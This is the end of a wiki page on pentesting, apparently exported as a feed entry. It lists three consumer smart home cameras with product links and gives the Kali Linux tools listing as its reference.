* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
</feed>